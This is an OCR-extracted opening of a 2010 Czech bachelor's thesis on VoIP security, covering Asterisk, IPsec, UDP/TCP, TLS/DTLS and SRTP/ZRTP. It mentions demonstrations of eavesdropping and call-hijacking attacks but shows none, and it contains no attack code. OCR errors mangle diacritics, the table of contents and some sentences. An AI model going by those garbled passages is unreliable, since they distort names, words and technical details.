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ABSTRAKT

Predlozena bakalafska prace je zaméfena na bezpeCnost protokolu VoIP (Voice over
Internet Protocol). Nejdfive jsou piedstaveny nejpouzivanéjsi transportni a signalizacni
protokoly, které jsou vyuzity v této technologii. Prace je zaméfena na dva rozsifené
protokoly SIP (Session Initiation Protocol), IAX (Inter-Asterisk eXchange Protocol) a open
source Asterisk, ktery je uzce spjaty suzivanim téchto protokold. V dal§i c¢asti jsou
popsany mozné utoky, hrozby a metody, které jsou schopny zajistit bezpe¢ny pienos pfi
vyuzivani VoIP mezi uzivateli. Déle je popsana prakticka ¢ast této prace, ktera je rozd¢lena
na dvé ¢asti. V prvni je demonstrovan pasivni utok formou odposlechu a ve druhé aktivni
utok formou nasilného ukonceni a presmérovani hovoru mezi dvéma komunikujicimi
uzivateli. U obou tutokl jsou navrzena bezpecnostni opatieni, jez by ucinné¢ mohla
piedchazet jejich moznému napadeni. V zavéru je zhodnocena samotna bezpecnost VolP
s ohledem na zajisténi kvalitniho spojeni mezi uzivateli, ktefi jej pro komunikaci vyuzivaji.

KLICOVA SLOVA
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DTLS, RTP, SRTP, ZRTP, Asterisk

ABSTRAKT

This bachelor dissertation deals with the VoIP (Voice over Internet Protocol) safety. The
most used transport and signal protocols employing this technology are presented first. Two
extended protocols, SIP (Session Initiation Protocol) and IAX (Inter-Asterisk eXchange
Protocol), as well as open source Asterisk, which is closely connected with these protocols,
are shown in detail. After that, methods, attacks and threats able to assure secure transfer in
the use of VoIP among users are described. Afterwards the practical part of this essay,
divided into two parts, is presented. In the first part, a passive attack in the form of tapping
1s demonstrated, and in the second, active attacks are described which take the form of
forced cancellations and forwarded calls between two communicating users. With both
attacks, safety measures that could effectively prevent against their potential attacking are
proposed. In the closing part, the VoIP safety is evaluated for securing a quality connection
between users communicating through it.

KEYWORD

VolIP, SIP, IAX, security, integrity, authentication, modification, tapping, IP, IPsec, UDP,
DTLS, RTP, SRTP, ZRTP, Asterisk



NOVOTNY F. Bezpecnost VoIP protokolii: bakalaiska prace. Brno: FEKT VUT v Brng,
2010. 68 stran, 4 prilohy. Vedouci prace Ing. Ondrej Krajsa.



PROHLASENTI

O ¢e

Prohlasuji, ze svou bakalafskou praci na téma ,,Bezpecnost VoIP protokoli* jsem
vypracoval samostatné pod vedenim vedouciho bakalaiské prace a s pouzitim odborné
literatury a dalSich informacnich zdroju, které jsou vSechny citovany v praci a uvedeny v
seznamu literatury na konci préce.

Jako autor uvedené bakalaiské prace dale prohlasuji, ze v souvislosti s vytvofenim
této bakalarské prace jsem neporusil autorskd prava tfetich osob, zejména jsem nezasahl
nedovolenym zptusobem do cizich autorskych prav osobnostnich a jsem si plné¢ védom
nasledk poruseni ustanoveni § 11 a nasledujicich autorského zakona ¢. 121/2000 Sb.,
vcetné moznych trestnépravnich disledki vyplyvajicich z ustanoveni § 152 trestniho

zakona ¢. 140/1961 Sb.

podpis autora



PODEKOVANI

Rad bych podékoval svému vedoucimu Ing. Ondieji Krajsovi za velmi uzite¢nou
metodickou pomoc a cenné rady pii zpracovani bakalarské prace. Zvlastni dik patii mé
rodin€ za moralni a materialni podporu béhem studia.

V BINE ANE s s

podpis autora



L6270 OSSOSO OO OO 10
T ASERIISK 1.ttt 12
1.1 Architektura ASEIISK ......coouiiiiiiiiiiiiieieee et 13

2 VOIP ettt et b et sae et 15
2.1 Transportni a aplikacni protokoly ........ccceccveriiiriieiiece e 16
211 TP PIOtOKOL ...ttt ettt et e e et e e aaeesaseennaeas 16
2.1.2 UDP Protokol a TCP ProtoKol .........cooeiiiiniiiiiniiiiiieieeeeseeeseeee e 18
2.1.3 TLS Protokol @ DTLS ProtoKol.......cc.cooueiiiieiiienieieienieeeeesies e 19
2.1.4 RTP, RTCP, SRTP, ZRTP ProtoKoly.......cccceeierieriirieieiieieieeeeee e 19

2.2 Signalizani ProtOKOLY ......eeeeieeiiieie et e e 21
2.2.1 H.323 ProtOKOL .ottt st s 22
2.2.2 SIP ProtoKOL. ..o 22
2.2 3 TAX PIOtOKOL ..ooieeiiiiieeiee ettt e e et e et eeeaeeaaeas 25

3 Utoky 2 NEDEZPEET V& VOIP ...t 28
3.1 ZiSKANT PIISTUPU K STl ..vviiuieeiiieiieeie ettt ettt et e 28
3.2 Signalizac¢ni data - Modifikace a obrana pied Ni.........ccceevveeiieeniieniieniieece e 29
3.3 Odposlech a obrana pred NIM...........cccueeiiieiiiieiiiceeecee e 31
3.4 Utok typu odepieni STUZED DOS ...........co.ovuiveevireereeeeeeeeeeeeeeeee e 31
4. PraKtiCKA CASE ..ottt 33
4.1 Analyza odposlechu SIP a IAX2 protokolu.........cocueeieiiiiiiiiiniiieeeeeee e, 33
4.1.1 Navrh zabezpeceni odposlechu SIP protokolu..........ccceevvveviieniienienienienieeeieens 36
4.1.2 Navrh zabezpeceni odposlechu IAX2 protokolu.........ccccccveevvieviieecieenieenieeen, 39

4.2 Nasilné ukonceni hovoru mezi dvéma komunikujicimi G€astniky .........cccoeeveennennee. 41
4.3 Presmérovani hovoru pies SIP protokol ...........cccccvieiiiiiiiiiiiicieceeee e 43

4.4. Navrh zabezpeceni proti aktivinim UtOKUM .......ccovviviiiiiiieiiieeeceeee e 44



S ZLAVET oottt ————————attttt ettt ———————————ttttttttat——————_ 46

SEZNAM LIEETALUTY ...eeuvieiiieeiie ettt et et ee et e et e e s e e e snaeesnseeenseeensaeenseeenssens 47
SeZNAM ZKIALEK .....eveiiiiiiiieiicie et e 51
SeZNAM PIIION ..ot ettt st e st e et e et enaeenaeas 53
A Analyza SIP a IAX programem Wireshark ...........cccccooieiieniiniiniinieeiesece e, 54
A.1 Analyza SIP protokolu — metoda INVITE .......c.ccooooiiiiiiiiiieeee, 54
A.2 Analyza TAX protoKOIU.......ooviiiiiiieiieeee e 55
A.3 Analyza SRTP protoKOIU ........coouiiiiiiiiiiiiieeee e 56
A.4 Analyza ZRTP ProtoKOIU .....ccueeiiiiiiieiiecieeeceeeeee e 57
B Analyza nésilného ukonceni a pfesmeérovani hovoru...........ccceeeveevciieniiienciee e 58
B.1 Analyza ACK PaAKETU......ccoueiiieieeiieie ettt ettt ettt esse e s ssaenseesaeenseens 58
B.2 Analyza BYE PaKEIU ....cccuoiiiiieiiieciiceeeee et 59
B.3 Analyza a zména INVITE paketu.........c.ccocveriieniieiiieiieiesicceeecesieeiee et 60
C Navrh [aboratorni TIONY ........ccoeviiiiiiiiiee e 61

D PHIOZENE CD ...ttt 68



SEZNAM OBRAZKU

1.1 Blokové schéma architektury ASteriSK ........cccvevieriierieniinierieiesieee e 13
2.1 Pienos dat pomoci VOIP .....cc.oiiiiiiiiieeeee e 16
2.2 SIP — ArchiteKtura STtE......coveruiruiiieniieiieieteeie ettt 24
2.3 Prubéh hovoru v protokolu SIP .........cccuiioiiiiieeeeeeeeeeeee e 25
2.4 Sestaveni hovoru pomocCt TAX .......ccuiiiiiiiiiceeeeeeee et e e 27
4.1 Program Wireshark — analyza paketii SIP .........ccocoiiiiiiiniiieeeee e, 34
4.2 Pribéh hovoru dvou uzivatelli v SIP ........cccoooiiiiiiiiiieee e 35
4.3 Program Wireshark — analyza paketli IAX2 ......cccoeeoiiiiiiiiiieeeeeee e 35
4.4 Pribéh hovoru dvou uzZivatelll v IAX2 ....oocoooiiiiiiiiieee e 36
4.5 Nastaveni SRTP u jednotlivych uzivatelll .........ccoooveeriieiiienieieieieeeee e, 37
4.6 Program Wireshark — analyza paketd SRTP.........ccccoveiiieiieiienieieeeeee e 38
4.7 Program Wireshark — analyza paketd ZRTP ........cccoooieiiiiiiiniinieieeesee e, 39
4.8 Program Zfone— zabezpeCeni PIENOSU .........ccuirveriieieeiieieeieeieenieeieeniee e see e saeesaees 39
4.9 Nastaveni kodovani IAX2 1 ASteriskU ......c.eevuiiiiiiniiiniiiiiieeeeeeeeee e 40
4.10 Program Wireshark — analyza paketii [AX2 se Sifrovanim ...........ccccceevvvenieenieennenne, 41
4.11 Program Wireshark — analyza ukonceni hovoru............cocceeviiiiiiieniieieceeee, 42

4.12 Program Wireshark — analyza pfesmeérovani hovoru...........ccccevevveeiieniiiennieenieeeenee 44



Uvod

Béhem nékolika poslednich let zaznamenal vyvoj v oblasti internetové telefonie
veliky pokrok. Cilem mnoha firem po celém svéte bylo vyvinout sofistikovanou
technologii, kde by pro pienos telefonnich hlasovych dat slouzila internetova a intranetova
komunikace. Technologie, jeZ toto zajiStuje je oznaCovana jako VoIP (Voice over Internet
Protocol).

Hlavni vyhodou VoIP je vyrazna redukce potieby hardware i fyzického mista pfi
zachovani existujicich technologii v daném systému a vyuziti zavedenych mechanismu siti
vytvorenych na IP (Internet protocol) v celosvétové znamé siti Internet. VolP vyuziva sité
pouzivajici rizné protokoly urcené k prenosu digitdlnich dat. To znamend, Ze vSe co je
potieba k uskutecnéni spojeni pomoci této technologie, je ptfipojeni k pocitatové siti nebo
siti Internet. Dal$i vyhodou je slouceni hlasové a elektronické posty, ptistup ke vzdalenému
telefonu, multimedialni videokonference dorucitelné ke koncovym bodiim uzivatela. Tyto
vSechny vyhody zna¢n€ ovlivituji financni prospéch zprostiedkovanych hovord oproti
béZzné telefonii.

Nasazeni technologie VoIP do pocitacovych siti neni nijak slozité, ale je tieba dbat
a vyvarovat se mozné fad¢ komplikaci, které s ni mohou byt spojeny. Dulezitym prvkem
pfi pfenosu je zachovani zvukové informace v redlném case. Zakladnim predpokladem
uspéchu v technologii VoIP je dosazeni potfebné kvality hovoru. Ta je urcena kvalitou
sluzeb QoS (Quality of Service), které tvoti jeden z hlavnich pfedpokladt uspéchu. QoS
definuje nékolik dulezitych kritérii pro splnéni a dosazeni kvalitniho spojeni mezi uzivateli.
Hlavnim urcujicim kritériem je tzv. doba odezvy (anglicky latency), kterou stanovila
organizace ITU-T (International Telecommunication  Union — Telecommunication
Standardization Sector) ve svém doporuceni (Recommandation G.114) jako nejdelsi
moznou dobu jednosmérné odezvy na 150 ms [1] . Mezi dalsi kritéria pro splnéni kvality
sluzeb patii rozptyl zpozdéni (anglicky jitter). Tomuto problému lze zabranit pouzitim
vyrovnavaci paméti (anglicky bufferu), ktera zajistuje vypousténi hlasovych paketii se
zpozdénim mensim nez 150 ms. Rovnéz je také mozné vyuzit rizné systémy kodovani
hlasu, které umi ménit velikost datovych paketi a tim snizi narok na rychlost datového

toku. Je tieba také brat zietel na moznou ztratovost paketll, jenz vznikne napt. pokud je pii
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pienaseni dat vysoké zpozdéni paketl. V konecném souctu mohou vzniknout vypadky
pienaseného zvuku. Dalsim velmi dilezitym kritériem kvality VoIP je rychlost sestaveni
spojeni hovoru a mozné odepieni sluzeb (DoS — Denial of Service).

Do této chvile byly popisovany vyhody VolP. Je tieba se také zaméfit na mozné
nevyhody spojené s touto technologii, mezi které nepochybné patii zabezpeceni hovora
a samotna slozitost zabezpeceni. U VoIP je zabezpeCeni pfenosu dat slozité¢ a Sifrovani
prenaSenych dat je nezbytnou soucasti poskytovani této sluzby. Mezi nejzakladnéjsi hrozby
nebo utoky na pienos pii pouziti VoIP je odposlech. To ovSem neni jedind hrozba, mezi
dal§i patfi napt. utok na dostupnost sluzeb DoS ¢i nebezpe¢i ukradeni identity. Pfi
vytvéieni, pfenosu a udrzovani hovoru je tfeba dbat 1 na tyto mozné utoky. Z tohoto diivodu
je potieba vénovat velkou pozornost zabezpec€eni signalizac¢nich protokola.

Tato bakalarska prace je zaméfena na problematiku bezpecnosti VoIP protokolu.
V praci jsou analyzovany bezpecnostni hrozby VoIP protokolu se zaméfenim na protokoly
SIP (Session Initiation Protocol), IAX (Inter-Asterisk eXchange Protocol) a dale popsany
realizace moznych ttoki s navrhem vhodného zabezpeceni. Prace je rozdélena do nékolika
Casti.

V prvni ¢asti bakalarské prace je pfedstavena konfigurovatelna softwarova ustfedna
Asterisk, jeji vyhody a vyuziti nejen ve VolIP technologii. Druhd ¢ast se zabyva a jsou v ni
uvedeny nejdilezitéjsi transportni a aplikacni protokoly, dale je wuveden vybér
nejrozsitenéjSich signalizanich protokoli se zaméfenim na SIP a IAX souvisejici
s hladkym pribéhem VolIP telefonie. Ve tieti Casti jsou popsany jednotlivé mozné Uitoky
a hrozby, se kterymi se 1ze v praktickém vyuzivani VoIP setkat. Nedilnou soucasti popisu
samotnych hrozeb jsou i u¢inna opatieni a prevence proti jejich moznému napadeni. Ctvrta
cast se zabyva realizaci samotnych utokd a moznych navrhi zabezpeceni, které jsou jim
schopny pfedchazet. V zavéru prace je shrnuta samotnd bezpeCnost vyuzivani VolP

protokolil v praktickém Zivoté.
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1 Asterisk

Asterisk je plné konfigurovatelna ustfedna, ktera je dilem spolecnosti Digium, Mark
Spencer [2]. Asterisk pracuje na opera¢nim systému Linux, Mac OS ¢i BSD [3]. Béhem
poslednich let bylo do svéta vypusténo nekolik verzi Asterisk jako 1.2, 1.4 a také posledni
1.6.2 Nasazeni ustfedny do provozu je mozné po ptidani hardwarovych karet spolenosti
Digium jakou jsou napt. TI/E1/FXO/FXS, rovnéz je také mozné pouzit ekvivalenty jinych
spolecnosti, spojovat hovory pies analogovou ¢i ISDN telefonni ustfednu a zaroven
provozovat IP telefonii. S touto ustiednou je mozné vyuzit funkce hlasového zaznamniku,
konferencnich hovorti, drzeni hovorii, preddvani hovort, hlasové posSty nebo také
automatickych odpovédi. To byl vycet pouze nejbéznéjsich hlasovych sluzeb, déle je ale
mozné ustiednu vyuzit i jako interaktivni hlasovy pravodce (IVR), server, pobockovou
usttednu (PBX), softwarovou ustfednu (Softswitch), konferen¢ni server, prediktivni voli¢
apod. [4]. Dopliikkové sluzby a funkce Asterisk jsou popsany nize [5], jedna se o klasické
1 pokrocilé sluzby, které jsou vétSinou spjaty se Spickovymi firemnimi Gstfednami PBX. Pti
pienosu hlasové komunikace podporuje protokoly SIP a H.323, ale také interni protokol
Asterisku TAX nebo IAX2 protokol, ten ma oproti nize uvedenym protokolim vice
moznosti smérovani, ovéfovani a signalizace. Podrobnéji se timto protokolem budeme
zabyvat ve druhé kapitole této prace. Ustfedna byla navrzena tak, aby podporovala riizné
typy soucasnych i budoucich technologii. Pfes webové rozhrani je mozné vyuzit grafického
prostiedi nebo konzolové aplikace a jejim prostiednictvim realizovat spravu ustiedny

1 hovort. Zékladni typy rozhrani jsou rozdélena do tii skupin[5]:

= Zaptel hardware, je nativné podporovan Asteriskem,
* non-Zaptel hardware, doplnén bez podpory firmy Digium,
= packet voice, tato skupina nevyzaduje HW, jedna se o riizné protokoly jako IAX,

SIP, H.323, atd.

Zabezpeceni Asterisku proti riznym druhim napadeni je Gzce spjato s VoIP protokoly

a také s faktem, ze IP telefonie pracuje na otevienych systémech a vyuziva stavajici IP sité,
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prvky i operacni systémy. To znamend, ze znama nebezpeci pro VolP vychazi z problému

IP telefonie [6].

1.1 Architektura Asterisk

Architektura Asterisku je navrzena jako jednotné prostiedi pro propojeni danych
ucastnikl s moznosti rozsifitelnosti o dalsi specifické technologie. Z obrazku 1.1 je patrné,
ze se architektura Asterisk sklada z tzv. jadra a okolnich API (Application programming
interface), které slouzi pro usnadnéni oddéleni protokolti a hardware. Proto jadro ustfedny
Asterisk nemusi fesit, jaké kodeky pouziva volajici nebo jak se pfipoji. V pouzitém
modulu jsou definovany 4 API viz. nize [5]. Vnitini propojeni PBX ovlada zminované
jadro, jedna se o specifické protokoly, kodeky a HW rozhrani telefonnich aplikaci, které
jsou pfistupné pouze pies jednotlivé API. Jadro Asterisku vnitiné ovlada nasledujici ¢asti

[5]:

APLIKACNI API

e Pickladac
kodeka

scheduler
a
I/O manazer

Spoustéc aplikaci

API picklada¢ kodekd
API souborovych formati

PBX
prepé(groovam zavadéc
. dynymickych
moduli
KANALOVE API

Obr. 1.1: Blokové schéma architektury Asterisk

= PBX spojovani (PBX Switching), hlavnim cilem Asterisku je samoziejmé

propojovani PBX, spojovani mezi riznymi uzivateli a automatizovanymi tlohami.
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API

Piepojovaci jadro transparentné spojuje pfichozi volani na rGznych HW a SW

rozhranich.

Spousté¢ aplikaci (Application Launcher) spousti aplikace zajistujici sluzby jako

jsou napiiklad hlasové posta, piehrdni souboru a vypis adresaie.

Preklada¢ kodekli (Codec Translator) pouziva moduly kodekli pro koédovani
a dekodovani riznych zvukovych kompresnich formatt pouzivanych v telefonnim
prostiedi. Mnozstvi dostupnych kodeki je vhodné pro riznorodé potieby a docileni

stavu rovnovahy mezi zvukovou kvalitou a pouzitou Sitkou pasma.

Scheduler a I/O manaZzer (Schedule and /O manager) slouzi k ovladani
nizkouroviiovych uloh a systémového fizeni pro optimalni vykon podle stavu

zatizeni.

Kanalové API ovlada typ spojeni ptichoziho voléani, tedy jedna-li se o VoIP spojeni,
ISDN PRI nebo jinou technologii. Dynamické jednotky jsou zavedené pro ovladani

detailt niz$ich vrstev téchto spojeni.

Aplikac¢ni API zpracovava tlohy, které realizuji funkce jako konference, hlasova

posta apod.

API prekladace kodekti zavadi moduly kodekti pro podporu riiznych audio formata

koédovani a dekodovani jako GSM, p - law, A - law a také MP3.

API souborovych format ovlada ¢teni a zapis rtiznych souborovych formatt pro

ukladani dat v souborovém systému.
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2 VoIP

VolIP pracuje stejn¢ jako ostatni telekomunikaéni technologie na zaklad¢ standardd,
které byly vypracovany ITU-T. Pro pienos zvuku a obrazu ptes internet je vyuzivano velké
mnozstvi komunikacnich i internetovych protokolti specifikujicich dané pozadavky. V této
kapitole budou postupné piedstaveny vSechny nejvyznamnéjsi protokoly, které¢ vyuzivaji
technologii VolIP.

Na zékladé informaci ¢erpanych z literatury [7] je na nize uvedeném obrazku 2.1
ukazan prenos hlasovych dat popisovanou technologii. Jednotlivé bloky zobrazuji, jak se
datové toky transformuji. Sipkami je znazornén tok dat od jednoho uzivatele k druhému.
Pii pfenosu je nejprve analogovy signal pfeveden analogové Cislicovym pievodnikem na
¢islicovy. Predtim, nez jsou data pfedana protokolu RTP (Real-time Transport Protocol),
podstupuji velice ucinny proces, ktery nazyvame komprese. Po obdrzeni dat RTP
protokolu je déale pfedd UDP (User Datagram Protocol), jehoz prostfednictvim jsou
pienasena pies Internet. O téchto dvou protokolech, jejich principech a vyznamu bude
pojednavat nasledujici ¢ast této kapitoly. U druhého uzivatele (pfijemce) probiha opacna
transformace dat z ¢islicového na analogovy signal. Pii vytvareni spojeni mezi uzivateli je
tieba dbat na sestaveni, ukonceni nebo modifikaci hovoru, touto sluzbou se zabyvaji
signalizacni protokoly. V této kapitole se také podrobné sezndmime s protokoly SIP

a IAX2 a nepfebernym mnozstvim funkci, které nabizeji.
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Obr. 1.2: Pfenos dat pomoci VoIP

2.1 Transportni a aplika¢ni protokoly

V nasledujici kapitole budou ptedstaveny transportni a aplikac¢ni protokoly, které
maji Siroké uplatnéni v internetové komunikaci a technologii VoIP. Budou zde zdiiraznény

jejich moznosti vyuziti a zabezpeceni pro VolP.

2.1.1 IP protokol

Protokol IP (Internet Protocol) je protokolem na sitové vrstvé. Tretim, pocCitano na
sedmivrstvém modelu ISO/OSI (International Standards Organization / Open System
Interconnection), popiipadé druhym na ¢tyivrstvém modelu TCP/IP (Transmission Control
Protocol / Internet Protocol). V OSI/OSI modelu jsou rozdéleny jednotlivé protokoly pro
a jsou to: aplikacni, prezentacni, relacni, transportni, sitova, spojova a fyzickd. Kazda

z téchto vrstev zpracovava informace ze sousednich vrstev dle sméru komunikace.
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IP protokol byl poprvé definovan v RFC 791 [8] na podzim roku 1981. Jeho
nezbytnou soucasti je spoluprace s UDP (User Datagram Protocol) nebo TCP protokolem
(Transmission Control Protocol). Jeho hlavnim ukolem je dopravit IP pakety, které mayji
zapouzdienou zpravu UDP nebo TCP na stanovené misto cile (IP adresu). Pokud je to
nutné, je schopen tento protokol pienést data 1 pies uzly nebo smérovace. Pii pirenaseni dat
hleda protokol vhodné cesty vzajemné¢ propojenych smérovacu, které vedou k cili, neboli
zajistuje tzv. smerovani (routing). Vzhledem k tomu, Ze pfendSeni a dorucovani IP paketi
je nespolehlivé je veskeré zajisténi spolehlivosti feSeno ptes protokoly na vyssich vrstvach.

Protokol IPsec (IP security) je vlastné IP protokol rozsifeny o bezpecnostni
mechanismy. Hlavni funkce protokolu je zabezpeceni ptenosu dat jiz na sitové vrstvé OSI
modelu. Z toho je zifejmé, ze poskytuje bezpecnost kterékoliv sitové aplikaci. Byl
definovan ve spousté desitek RFC, ale v soucasnosti je vychozi RFC 4301 [9] z prosince
roku 2005. Protokol byl navrzen tak, Ze je mozné pouzivat jej v IPv4 (Internet Protocol
version 4) a je jiz také nezbytnou soucasti IPv6. [Psec umozituje ochranu proti prehrani,
autentizaci, integritu a diivérnost dat. Zaroven provadi automatickou spravu klict.

Pro zabezpeceni protokolu IP se vyuziva protokol AH (Authentication Header)
a ESP (Encapsulated Security Payload). AH pracuje na principu, jenz do IP paketu vklada
navic autentizacni hlavicku, kterd obsahuje hodnotu vypoctu hasovaci funkce (MD5 nebo
SHA-1-haSovaci algoritmus, slouzici pro vypocet tzv. hasovaci funkce) z ptivodniho paketu
a tajného kli¢e. HaSovaci funkce slouzi pro pievod vstupnich dat, jde o tzv. jednocestnou
funkci, ktera je schopna z velkého objemu dat vypocitat tzv. ,,otisk y konstantni délky
(h(x) =y), vystup funkce se casto oznacuje jako vytah.

Protokol AH nezajistuje utajeni, ackoli je mozné data ptecist, jsou chranéna proti
piepsani a z tohoto diivodu je také vyuziti protokolu minimalni. Na rozdil od AH jsou
u protokolu ESP, az na IP a ESP hlavicku, data Sifrovdna pomoci pfedem zvoleného
algoritmu. Pfijemce musi byt schopen data deSifrovat, proto je tieba, aby se oba uzivatelé
pied vlastni komunikaci domluvili na zplsobu Sifrovani dat. Dle typu zvoleného rezimu je
urcen konecny tvar paketu.

Pro komunikaci mezi dvéma body, naptiklad mezi klientem a serverem (end-to-end)
se pii Sifrovani vyuziva Transportni rezim (Transport Mode). Ten Sifruje pouze data

protokolu. U technologie VoIP usnadiiuje zjisténi, ,.kdo s kym a jak dlouho hovoftil“. Pii
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pouziti Tunelovaciho rezimu (Tunel mode) jsou Sifrovana data protokolu IP i hlavicka, ob¢
slozky jsou zapouzdifeny do nového IP paketu s novou IP hlavickou. ESP hlavicka a nova
IP hlavicka ziistavaji neSifrované. Vyuziti tohoto protokolu je vhodné k ochrané provozu
mezi sitémi, branami, nedivéryhodnou siti, naptiklad routerem nebo branou a klientem. Pfi
napadeni cizim uto¢nikem je mozné zjistit pouze, které brany jsou spolu ve spojeni

a komunikuji.

2.1.2 UDP Protokol a TCP Protokol

Protokol UDP (User Datagram Protocol) je soucasti sady protokolit TCP/IP a tvoti
rozhrani mezi sitovou a aplikacni vrstvou v transportni vrstve. Byl specifikovan v RCF 768
[10]. Vzhledem k tomu, Ze protokol snizuje mnozstvi operacnich mechanismu je vhodné jej
pouzit v jednoduchych aplikacich ¢i systémech, které pracuji na principu otazka-odpoveéd
a neni dulezitd ztratovost paketi pfi prenosu. UDP poskytuje nespojované datagramové
sluzby, u kterych neni zarucena spolehlivost pienosu, ztratovost, vicenasobny pfenos ani
spravné potadi pfenosu. Protokol umoziuje pfenos dvoustranné komunikace i komunikace
od jednoho uzivatele k vice uzivatelim. Pro odesilani a pfenos zprav slouzi UDP porty,
zpravy UDP jsou zapouzdieny do datagrami IP. Protokol vyuzivd téchto porth
ke spravnému doruceni dat jednotlivym aplikacim, jeho hodnota je 16 bitli s rozsahem 0-
o portech uzivatelli odesilatele a ptijemce, kontrolni soucet a velikost datagramu. Zda doslo
k poskozeni datagramu b&hem pienosu je mozné zjistit z kontrolniho souctu. Bohuzel vSak
nelze poSkozeny datagram opravit nebo znovu odeslat. Za spravné doruceni paketu jsou
odpovédny koncové aplikace, které v dnesni dobé uptednostiiuji spolehlivé doruceni
datagrami ve spravném poriadi.

Pro spolehlivy pienos je vhodnéjsi vyuzit protokol TCP (Transmmision Control
Protocol), ktery je spojové orientovany a je definovany v RFC 793 [11], umoziiuje pouze
dvoustrannou komunikaci. Tento protokol pii odeslani paketti umoznuje potvrzeni o piijeti
nebo mozné opétovné odeslani pii ztrat€¢ béhem pienosu. V ptipadé Spatného poradi umi
TCP vrstva srovnat dané pakety do spravného potadi. Oproti UDP protokolu ma TCP vyssi

rezii (pfi otevieni spojeni jsou zapotiebi 3 pakety, které umoziuji dohled nad celym
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spojenim). Pfi vyuzivani protokolu UDP se nepocitd s cCasem, ktery by vznikl pfi
opetovném odesilani nedorucenych zprav, proto je vhodny pro sluzby VolP, kde je

uptednostiiovana komunikace v redlném case.

2.1.3 TLS Protokol a DTLS Protokol

Protokol TLS (Transport Layer Security) spolu se svym piedchozim protokolem
SSL (Secure Sockets Layer) patii do skupiny kryptografickych protokoll. Jejich misto
v ISO modelu se nachazi na Grovni mezi transportnim protokolem TCP a aplika¢ni vrstvou.
Protokol je definovan v RFC 4346 [12] z roku 2006, jedna se o soucasnou verzi 1.1. Oba
piedstavované protokoly maji pfednost v zptsobu jejich komunikace siti.

TLS zabranuje falSovani ¢i odposlouchavani zprav, zajist'uje vzajemnou autentizaci
koncovym bodiim, kterd vychazi z certifikati (server, klient), déle je povinna autentizace
serveru a klient ma moznost volby. Protokol se zabyva divérnosti a integritou dat.
Symetrické Sifrovani, které¢ predchézi dohodé uzivateli na podporovanych formatech
algoritmil je zaloZeno na vefejném kli¢i, jenz uzivatelé ziskaji vyménou pomoci svych
vlastnich klict.

DTLS (Datagram Transport Layer Security Protocol) protokol byl specifikovan
spolecnosti IETF (Internet Engineering Task Force) v RFC 4347 [13] v roce 2006. Tento
protokol je piedstavitelem propojeni TLS s UDP protokolem. Umoziuje funkci s UDP
protokolem s vyuzitim minimalni modifikace prvki TLS. Rovnéz aplikace jako VoIP, které
si mohou dovolit ztratu paketli za cenu nizkého zpozdéni mohou nalézt zabezpeceni

v tomto protokolu.

2.1.4 RTP, RTCP, SRTP, ZRTP Protokoly

Protokol RTP (Real-time Transport Protocol) byl specifikovan v RFC 1889 [14]
vroce 1996 a dale doplnén v RFC 3550 [15] vroce 2003 spolecnosti Audio-Video
Transport Working Group pii spolupraci s IETF. Protokol slouzi hlavné k pfenaseni dat

v realném case, jakymi jsou naptiklad video ¢i audio. Protokol nezarucuje doruceni dat
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v poradku, ani zda budou dorucena ve spravném poradi, ale definuje potadova ¢isla danych
paketli, znich pot¢é mohou koncové multimedialni aplikace zjistit, které pakety chybi.
Zakladem je synchronizace datového pienosu. Funkce protokolu je dale doplnéna
o signaliza¢ni protokoly SIP, IAX a H.323, které budou popsany nize v této kapitole, proto
je RTP vyuzivan Casto jako zaklad v IP telefonii. Pro zabezpeCeni pfenosu dat nejcastéji
vyuziva UDP protokol a jeho dynamicky pridélované porty.

Dal8im ze série sesterskych protokolii je RTCP (Real-time Control Protocol), ktery
byl specifikovan rovnéz v RFC 1889 [14] a 3550 [15]. Periodické vysilani paketd od
jednoho ucastnika k ostatnim ucastnikim se vyuziva k monitorovani dorucovanych dat.
Vsitich je mozné toto vyuzit pro kompenzaci kolisdni zpozdéni. Rozesilani téchto
kontrolnich paketii je shodné srozesilanim paketi protokolu RTP. RTCP casto byva
pridélen port o jednicku vyssi nez RTP. Protokol RTCP je také schopen poskytnout sluzby
proti zahlceni sit€¢ nebo pro fizeni toku dat. To je umoznéno pomoci informaci v paketech,
dle kterych lze vysilaci stranou dynamicky upravovat rychlost pfenosu na zikladé
pozadavki ptijimaci strany.

Mezi dalsi protokoly spadajici do rodiny RTP je SRTP (Secure Real-Time
Protocol), ktery je specifikovan v RFC 3711 [16]. Tento protokol vznikl rozsifenim
protokolu RTP, zajistuje ochranu proti utokim piehranim (v ptipad¢ odchyceni dat cizim
uto¢nikem nelze tyto audio ¢i video data prehrat), autentizaci dat a zaruceni divéernosti.
Mezi vychozi Sifrovaci metody protokolu SRTP, které zajistuji divérnost dat patii
kryptograficky algoritmus AES (Advanced Encryption Standard), ktery umoziuje
nabidnout dva rizné rezimy — Counter Mode a f8-mode [16]. Velmi Casto se stava, ze pii
pfenosu neni tfeba zajistit divérnost, pro tento piipad se vyuzivda moéd s nazvem ,,NULL
Cipher*. Jak jiz bylo popséano, protokol SRTP je schopen zajistit autentizaci a integritu. Pro
tyto funkce je vyuzivan transformacni mechanismus HMAC-SHA1 (Keyed-Hash Message
Authentication Code, SHA - jiz bylo ptfedstaveno u protokolu IPsec (jedna se o haSovaci
algoritmus slouzici pro vypocet tzv. haSovaci funkce). Pfi pfenosu dat jsou na vstupu
zpravy libovolné délky stajnym Sifrovacim klicem (key derivation). Oproti tomu na
vystupu jsou jiz ty samé zpravy s konstantni délkou. Uzivatel pfijimajici tato pozménéna
data je schopen urcit identitu vychoziho uzivatele a zda nejsou jemu posland data zménéna.

Vyse popsané moznosti SRTP protokolu nejsou zcela jisté posledni moznou variantou a do
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budoucna je jisté mozné implementovat nové Sifrovaci metody ¢i dalsi algoritmy.

Mezi posledni protokoly patfici do rodiny RTP je protokol ZRTP. Byl vytvotren ve
spolupraci Phila Zimmermanna, Jonem Callasem a Alanem Johnstonem. Spole¢nost IETF
jej pijjala vbieznu roku 2006. ZRTP protokol rozSifuje jiz znamy SRTP protokol
o vyménu klich implementaci Diffie-Hellmanova algoritmu v hlavickach RTP paketd. Ty
lze poté pouzit k sestaveni zabezpeceného spojeni pomoci SRTP. Uzivatelé si ponechavaji
prvky zklich pouzitych v daném hovoru. V nésledném dalSim hovoru jej vyuziji
k smichani se sdilenou tajnou informaci pomoci Diffie-Hellmanova algoritmu. To zabrani
utoku man-in-the-middle (z anglictiny ,,Cloveék uprostied” nebo ,,Clovék mezi), protoze
pokud neni utok vedeny v prvnim hovoru, je zbytecné jej zkouset v dalS§im. Pti vyuzivani
ZRTP neni tfeba dopiednd znalost sdileného Sifrovani, certifikatii nebo PKI (Public Key
